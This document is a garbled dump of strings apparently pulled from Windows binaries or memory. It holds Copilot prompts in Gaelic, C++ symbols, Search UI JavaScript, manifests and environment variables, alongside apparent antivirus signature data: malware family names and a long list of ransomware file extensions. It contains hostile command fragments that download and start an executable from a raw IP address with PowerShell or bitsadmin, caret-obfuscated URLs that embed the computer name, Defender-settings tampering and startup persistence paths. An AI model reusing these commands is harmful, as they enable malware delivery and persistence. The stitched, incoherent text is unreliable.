 feuchainn ri faclan-faire a dheasachadh. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot airson na faclan-faire agad 
s-phortadh. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot a
 feuchainn ri faclan-faire ion-phortadh. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot airson an d
s. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha Microsoft Copilot a
ithreach. Cuir am facal-faire Windows agad a-steach gus seo a cheadachadh.Tha tionndadh nas 
r.Feumaidh Microsoft Copilot Windows 10 no tionndadh nas 
WindowsAppRuntime.Release!1.6.0
CreateSubKeyset_CreateNoWindowSetAccessRuleProtectionSetAccessControlget_UserNameAddAccessRuleget_EntryPointCyaX-Sharp
get_Registryget_CurrentUserset_FileNameset_WindowStyleProcessWindowStyleGetAntivirus\
92.63.197.48windows\t-405068694930305840%temp%\495050583930.exe&start %temp%\495050583930.exepowershell -executionpolicy bypass (new-object system.net.webclient).downloadfilebitsadmin /transfer getitman /download /priority highBehavior:Win32/Prowloc.G
<channel><id>1;9224202963191048905</id><appkey>microsoft.windows.pushtoinstall_cw5n1h2txyewy</appkey><properties>0</properties></channel>
<channel-response><id>1;9224202963191048905</id><exp>2026-03-26T08:02:31Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADYVW0F1pS8XMqIyOiwxBbFSLoXKQHaL1YlCzphP2m7NNo2CiRGFvR5niPvLeP6Vq070gtU3%2fnkF4TddUSSM9a55F9ekDJNgnv%2bxDq6i7GrHwaftSSrzf1z9iYo1zRxpIY%3d</url></channel-response>
<channel-response><id>1;9224202963191048905</id><exp>2026-03-26T08:02:31Z</exp><url>https://wns2-ln2p.notify.windows.com/?token=AwYAAADYVW0F1pS8XMqIyOiwxBbFSLoXKQHaL1YlCzphP2m7NNo2CiRGFvR5niPvLeP6Vq070gtU3%2fnkF4TddUSSM9a55F9ekDJNgnv%2bxDq6i7GrHwaftSSrzf1z9iYo1zRxpIY%3d</url></ch
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-DeviceGuard-GPEXT-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.UserInit
ExitWindowsEx
DisplayMessageAndExitWindows
.?AV<lambda_4>@?6??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?O@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$PerformancePageT@UPerformancePage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?N@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_8>@?N@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_9>@?O@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?O@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_7>@?M@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?M@??Connect@?$ProcessesPageT@UProcessesPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@
OuWindows
%: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
reason::too_few_windows_in_group
Microsoft-Windows-Wallpaper-Content-Extended-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.Wifi.Client.Realtek.Rtwlane01
OutlookForWindows_1.2026.210.30
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOS
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOSTP
@WindowsY
oStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</
copy%0%systemroot%\system32\coronavirus.bat
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{fc177c6f-a3d6-4bb0-b1fa-23d0cd9b005d}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:PackageSID>S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157</ps:PackageSID><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:K [
C:\Windows\iexplore.exe
WINDOWS\SYSTEM32\
WINDOWS\
cked-tjo|locked_file|lockednikampret|lockout|locky|lol!|lollock|lololo|longbow|loptr|loveyouisreal|lukitus|magic_software_syndicate|makb|maks|malew|malki|mamba|master|maxicrypt|maxsteelsaherblueeagle|mayday|mb|mcpces|mehrunes|merry|merry1|mexon1|micro|microsoft|mixi|mkbrgb|mmnm|mole|mole01|mole02|mole03|mordor|mort|mp3[exten]|msg23|mtk118|mvs6gt|mychemicalromance4ever|mz2493514|n0tijv|needdecrypt|needkey|needkeys|net]|net]malew|net_120olimp|net_125|net_125olimp|net_127olimp|net_128|net_132|net_132olimp|net_138|net_157|net_160|net_164|net_260|net_261|net_441|net_526|net_825|net_859|nigga|nj9gpmw8|nlusud|no_more_ransom|node0|nopasaran|norton|notepad|np27f9|npqxijor|ns2psfmp|nuclear|null|numberdot|nvsn1lqg|nw7gmkm4|nwwzflxc|nzmr|nzruovb9|oacus8va|ocean|ocswkwf3|odin|oewbdle|ofmwwv|ogne0h|ogonia|ogre|ohureutw|oiubx4rv|okokokokok|ol39kzwl|oldbat|oled|oni|onion|onyon|oops|openme|oplata@qq_com|orqc|osiris|otr|owl|oxar|oxr|p1crypt|pabluk300crypt!|pablukcrypt|padcrypt|paradise|paxynok|pay_for_decrypte|paybtcs|paycyka|payday|paym|paymts|payrms|pdf_encrypted|pdfqczxezb|pdydsfwk|pec|pedo|perseus|petya|pf8emu|phji1y|pholdemup|pirate|pizdec|pizdosik|pizza|pjsjbzsy|plin|png[exten]|pngc|pnr|pornhub|porno|poshcoder|pptx[exten]|pqn2eith|privat66|pscrypt|ptmbcfhc|ptzuaywn|pulet|pure|pwn|pwn3d|pzpxcle|qcbppy6k|qcmswe3v|qcz43efl|qfpf59kt|qgdqxcbl|qjfxoz|qjggwmdq|qqahivvk|qwqd|qym|r4bb0l0ck|r5a|rack|rameui91|ranranranran|ransom|ransomcrypt|razer|rc63m9|rdmk|readme|readme_txt|reagan|reddeath|rekt|renamer|revenge|rfygvnf8|ridt64vm|rmcm1|rokku|rose|rrgvovzw|rsa-1024|rsa1024|rscl|rtf[exten]|ru|ru]|rumblegoodboy|ru}|ru}lock|rwg|rwzycle|s1crypt|s4lyg27r|s8o8fpop|sage|saher blue eagle|scarab|scary|schwarz|scl|scorp|scorpionlocker|sea|senrus17|serpent|servercod|sevendays|sex|sex5|sf6sgsoj|sgf9s5ap|shark|shinigami|shit|sifreli|silent|skaype agu1237|skeetles|skunk|sn19u9|son|sorry|sorrydec|sos|spark|spectre|spg|sqj|st28j9|stop|stoppirates|strip4you|strongfiles|suiside|susaninofficial|svdmsnxc|svn|sweety|symbiom_locked|synapse|t7bt3wtu|tar[exten]|tarot|tdelf|tdgijqx|tego|telka|tesla|test|tester|tfjjz7mg|thatmoment|theend|theva|thisfileisencrypted|thismsg|tholdemup|thor|thpa72q4|tknhjbog|tm9cvd6h|top#id#1499760822|top#id#1501079548|toxcrypt|treasure|troy|trus|ts22k9|ttny71zp|ttvdduy|tulya|txtqczxezb|txtz|txx|tyebaniylox|u9jgcatb|u9xsz99a|uavzcle|ucdfyzgv|ujwvayp7|uloz|uqrrvqay|us|usxtval9|uwy4kcyn|vape|vault|vazonez|vcrypt1|vdul|venusf|venuslf|venuslp|venusp|verybad|vi87fahy|via|viki|vindows|viper1|virginlock|virginprotection|virus|viva|vl|vlagalishe|vscrypt|vvnhwxaw|vvv|vxoabxpu|vya|vzlom|w3hr3ncc|w7qhqcbj|waitingforpass|wamarlocked|wanna|wannacry|wcry|wcryt|wctkcle|wd7sqgfr|wfezsxyd|whatthefuck|whdekocg|whos|windows|wlu|wm1tqqhq|wmguxbbn|wncry|wncryt|wndie|wnry|work|worm|wpofg3p4|wtdi|wu6ztoxy|www|wyvern|wyvofwc8|wz4rqgsk|x2hzqz8yktjyeks6oiz7czqq|x3m|x3mjqulz|xaxax0x0|xcrypt25|xdata|xdes|xdsjatgq|xfile|xholdemup|xiaoba1|xiaoba2|xiaoba4|xls_encrypted|xlsb_encrypted|xlsbc|xlsc|xlsx_encrypted|xlsxc|xm9jquzh|xpjg6res|xqbfdle|xqwnff7a|xtbl|xvrptbhn|xxdwjcjq|xxholdemup|y1i3irzw|y4lipmbu|yaps|ygcrypt|ykcol|yl|ynhlv1|your_files_are_loc|youransom|ypqyyhk|ysp|ytbl|yuxi|yyto|zasifrovano|zasifrovano zaplat 3000kc!!!|zayka|zcrypt|zencrypted|zepto|zered|zholdemup|zilla|zipc|zuzya|zzz|zzzzz|~|~xdata~|
repos\install-python\install-python\obj\release\netcoreapp3.1\wHost.enableAddCopilotActionToBestMatch():!1)&&n.isCopilotSuggestion(f===null||f===void 0?void 0:f.type)&&(n.isSetting(f===null||f===void 0?void 0:f.copilotSuggestionInBestMatchMirrorType)?this.addToSection(this.createCopilotAction(f,"SettingsAndTroubleshootingHelp",n.JumplistActionItemType.S_SettingsAndTroubleshootingHelp,{type:2,content:"&#xF106"}),null,n.Host.getLocString("ActionsSection")):n.isPhoto(f===null||f===void 0?void 0:f.copilotSuggestionInBestMatchMirrorType)?(this.addToSection(this.createCopilotAction(f,"DescribeThisImage",n.JumplistActionItemType.S_DescribeThisImage,{type:2,content:"&#xF106"}),null,n.Host.getLocString("ActionsSection")),this.addToSection(this.createCopilotAction(f,"SendToCopilot",n.JumplistActionItemType.S_SendToCopilot,{type:2,content:"&#xE901"}),null,n.Host.getLocString("ActionsSection"))):(this.addToSection(this.createCopilotAction(f,"SummarizeWithCopilot",n.JumplistActionItemType.S_SummarizeWithCopilot,{type:2,content:"&#xF106"}),null,n.Host.getLocString("ActionsSection")),this.addToSection(this.createCopilotAction(f,"SendToCopilot",n.JumplistActionItemType.S_SendToCopilot,{type:2,content:"&#xE901"}),null,n.Host.getLocString("ActionsSection")))),n.config.appSuggestionsModuleEnabled&&n.isApp(f.type)&&!this._appSuggestionsRetrieved){let t=f.query.toLowerCase();n.config.appSuggestionsUseDeviceId&&f.deviceItem&&(t=f.deviceItem.id.toLowerCase());n.fetchUrlJson(this.getRelatedSearchUrl(t,n.uiLanguageCache,"app"),null,null,n=>this.createAppSuggestionsModule(n,u))}n.config.settingsOnlineModuleEnabled&&n.isSetting(f.type)&&f.deviceItem&&!this._settingsOnlineModulesRetrieved?n.fetchUrlJson(this.getRelatedSearchUrl(f.deviceItem.id,n.uiLanguageCache,"settings"),null,null,n=>this.createSettingOnlineModules(n,u)):(this._sectionRetrieved_settingsFaq=!0,this._sectionRetrieved_settingsRelatedSettings=!0);n.getVerbsAsync("PreviewPaneExtraActions",f,n.config.rawVerbs,!0,n=>this.processVerbs(n,t,i,r,u),u)}}processVerbs(t,i,r,u,f){if(f()){const c=n.Host.getLocString("ActionsSection");let e=this._previewedSuggestion;t=n.extendVerbs(t,e,this._page,()=>this.render());let s=-1,o=-1,h=0;for(let n of t)n.verb==="copy"&&(s=h),n.verb==="S_CopyFullPath"&&(o=h),h++;if(s!=-1&&o!=-1){let n=t[o];s<o?(t.splice(o,1),t.splice(s+1,0,n)):(t.splice(s+1,0,n),t.splice(o,1))}for(let n of t)if(n.verb){let t=this.createAction(n);n.getIcon&&n.getIcon(1,n=>{t.icon=n,u()});this.addToSection(t,null,c)}(n.Host.enableAddCopilotActionToActionList?n.Host.enableAddCopilotActionToActionList():!1)&&(n.isSetting(e.type)?this.addToSection(this.createCopilotAction(e,"SettingsAndTroubleshootingHelp",n.JumplistActionItemType.S_SettingsAndTroubleshootingHelp),null,n.Host.getLocString("ActionsSection")):n.isPhoto(e.type)?(this.addToSection(this.createCopilotAction(e,"DescribeThisImage",n.JumplistActionItemType.S_DescribeThisImage),null,n.Host.getLocString("ActionsSection")),this.addToSection(this.createCopilotAction(e,"SendToCopilot",n.JumplistActionItemType.S_SendToCopilot),null,n.Host.getLocString("ActionsSection"))):n.isSuggestionWithCopilotAction(e)&&(this.addToSection(this.createCopilotAction(e,"SummarizeWithCopilot",n.JumplistActionItemType.S_SummarizeWithCopilot),null,n.Host.getLocString("ActionsSection")),this.addToSection(this.createCopilotAction(e,"SendToCopilot",n.JumplistActionItemType.S_SendToCopilot),null,n.Host.getLocString("ActionsSection"))));this.processChildSuggestions(e,i,()=>{f()&&u()});this._sectionRetrieved_jumplist=!0;r()}}createSyntheticAction(t){let i="";var r=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();i=t.type=="PPL"&&r!=2?n.Host.getLocString("OpenContact"):t.previewPaneType==1||this.isAnaheimDataSuggestion(t)?n.Host.getLocString("OpenInBrowser"):n.Host.getLocString("Open");let u={verb:n.JumplistActionItemType[n.JumplistActionItemType.S_Open],displayName:i,icon:{type:2,content:"&#xE8A7"},executeSync:()=>t.click(n.getCurrentTime(),0)};return this.createAction(u,n.GroupType.JumpListSynthetic)}createCopilotAction(t,i,r,u){let f=n.Host.getLocString(i),e={verb
!WindowSpy.AHK
C:\WINDOWS\SYSTEM32\
38^windows.appService
c:\windows \system32\cscapi.dllc
c:\windows \system32\srumapi.dllc
c:\windows \system32\optionalfeatures.exec
Before editing the content of a cookie, you should close all windows of Internethttp://nirsoft.cjb.net
powershell Set-MpPreference -DisableRealtimeMonitoring $falseHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonC:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup!#HSTR:Win32/Guloader.KEET123!MTB
Software\Microsoft\Windows\echeneid\Uninstall\p\hugsS
\windows\system\system32.exehttp://www.
<!-- placinghard to centersort ofclientsstreetsBernardassertstend tofantasydown inharbourFreedomjewelry/about..searchlegendsis mademodern only ononly toimage" linear painterand notrarely acronymdelivershorter00&amp;as manywidth="/* <![Ctitle =of the lowest picked escapeduses ofpeoples PublicMatthewtacticsdamagedway forlaws ofeasy to windowstrong  simple}catch(seventhinfoboxwent topaintedcitizenI don'tretreat. Some ww.");
lQ"http://q0.wf:8080/y3bendyz/xef/0hr/4nvush/1wtp4mfh/!computername!"/^q^nzq^hfr^g^b=^gm^j^zc^esw^s%windir%\system32\imageres.dll
"http://m0.nu:8080/yzyc5w8jgo/jnjjtd/p/f/ayi/myh/%computername%"wmq^l^n^ig=^iw^t^x^c^z^pj-q^n!%systemroot%\system32\shell32.dll
jwindows\currentversion\run
onecore\windows\core\console\open\src\tsf\consoletsf.cpp
onecore\windows\core\console\open\src\tsf\tfeditsession.cpp
!1onecore\windows\core\console\open\src\tsf\tfdispattr.cpp
onecore\windows\core\console\open\src\propslib\shortcutserialization.cpp
onecore\windows\core\console\open\src\renderer\wddmcon\wddmconrenderer.cpp
onecore\windows\core\console\open\src\renderer\base\fontresource.cpp
J\WindowsApps\MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe
_MicrosoftWindowsMPTFCounters_
WINDOWS_TITLE_TEXE
  <assemblyIdentity name="Microsoft.Windows.Common-Controls.Resources" version="5.82.26100.1591" processorArchitecture="x86" language="en-us" publicKeyToken="6595b64144ccf1df" type="win32" />
      <id buildType="release" language="neutral" name="Microsoft.Windows.Multilingual_Components_All" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" version="10.0.26100.1591" />
      <id name="Microsoft.Windows.Categories" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" version="1.0.0.0" />
5C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -pt
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
software\microsoft\windows nt\currentversion\silentprocessexits
software\microsoft\windows nt\currentversion\image file execution optionss
wow64_microsoft-windows-net1-command-line-tool_31bf3856ad364e35_none_bb1ffadd6bf904fd
wow64_microsoft-windows-netadaptercim_31bf3856ad364e35_none_a5d4eb6e054d6a9c
wow64_microsoft-windows-netapi32_31bf3856ad364e35_none_d297d8bc58c07f39
wow64_microsoft-windows-netbios-netapi_31bf3856ad364e35_none_174acf1b337b4bad
wow64_microsoft-windows-netbt-full_31bf3856ad364e35_none_27404bafd5e8f20a
wow64_microsoft-windows-netbt_31bf3856ad364e35_none_1d5b6b2d92c8e8de
wow64_microsoft-windows-netcoinstaller_31bf3856ad364e35_none_12c85e78ae91f28a
wow64_microsoft-windows-netevent_31bf3856ad364e35_none_d27fb8f8bedd0f00
wow64_microsoft-windows-netfx4-deployment_31bf3856ad364e35_none_056b9ad7487a37f4
wow64_microsoft-windows-netio-infrastructure_31bf3856ad364e35_none_45ffc85044c7de34
c:\windows\
c:\windows\system32\
\software\microsoft\windows\currentversion\policies\system
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.Shell.CloudFilesAggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Storage.WinRT
Microsoft.Windows.Desktop.Shell.Shell32
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.ApiTelemetry
Microsoft.Windows.Shell.DataLayer
Microsoft.Windows.Shell.Libraries
Windows.Storage.dll
ArrangeWindows
Global_WindowsStorage_MaxIcons
Global_WindowsStorage_Untyped_FileClassSRWLock
Global_WindowsStorage_Untyped_MountPoint
Global_WindowsStorage_Untyped_pFileClassCacheTable
Global_WindowsStorage_Untyped_pFileHanderMap
Global_WindowsStorage_Untyped_rgshil
Global_WindowsStorage_afNotRedirected
Global_WindowsStorage_ccIcon
Global_WindowsStorage_csIconCache
Global_WindowsStorage_csSCN
Global_WindowsStorage_dwThreadBindCtx
Global_WindowsStorage_dwThreadInitializing
Global_WindowsStorage_esServerMode
Global_WindowsStorage_fEndInitialized
Global_WindowsStorage_fIconCacheHasBeenSuccessfullyCreated
Global_WindowsStorage_fIconCacheIsValid
Global_WindowsStorage_fNeedsInitBroadcast
Global_WindowsStorage_hwndSCN
Global_WindowsStorage_iLastSysIcon
Global_WindowsStorage_iLastSystemColorDepth
Global_WindowsStorage_iUseLinkPrefix
Global_WindowsStorage_lProcessClassCount
Global_WindowsStorage_lrFlags
Global_WindowsStorage_nImageManagerVersion
Global_WindowsStorage_tlsChangeClientProxy
Global_WindowsStorage_tlsIconCache
Global_WindowsStorage_tlsThreadFlags
Global_WindowsStorage_ulNextID
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
(@/appx/manifest/desktop/windows10/2"
           xmlns:desktop4="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
           xmlns:desktop6="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:virtualization="http://schemas.microsoft.com/appx/manifest/virtualization/windows10"
           xmlns:previewsecurity="http://schemas.microsoft.com/appx/manifest/preview/windows10/security"
           xmlns:heap="http://schemas.microsoft.com/appx/manifest/heap/windows10"
           xmlns:previewsecurity2="http://schemas.microsoft.com/appx/manifest/preview/windows10/security/2"
           xmlns:deployment2="http://schemas.microsoft.com/appx/manifest/deployment/windows10/2"
           xmlns:trustedlaunch="http://schemas.microsoft.com/appx/manifest/trustedlaunch/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/5"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/8"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/13"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/15"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/16"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/17"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/iot/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/virtualization/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/security"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/heap/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/security/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/deployment/windows10/2"/>
WINDOWS\system32\cmd.exj
Path=C:\WINDOWS\system32;
WindowsUdk::UI::Shell::ShellView
Software\Microsoft\Windows\CurrentVersion\DeviceAccessF
04_Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
OutlookForWindowsm
onecoreuap\shell\windows.storage\kfapi\staticapis.cpp
@onecoreuap\shell\windows.storage\kfapi\setknownfolderbroker.cpp
onecoreuap\shell\windows.storage\kfapi\folderpathbuilder.cpp
onecoreuap\shell\windows.storage\kfapi\folderpathregstorage.cpp
onecoreuap\shell\windows.storage\kfapi\registrykeyprovider.cpp
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
:\WINDOWS\Syst
SERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
advanced color settings|advanced display settings|HDR video settings|high dynamic range|stream HDR|Auto HDR|Windows HD|?
Document Windows
New Windows
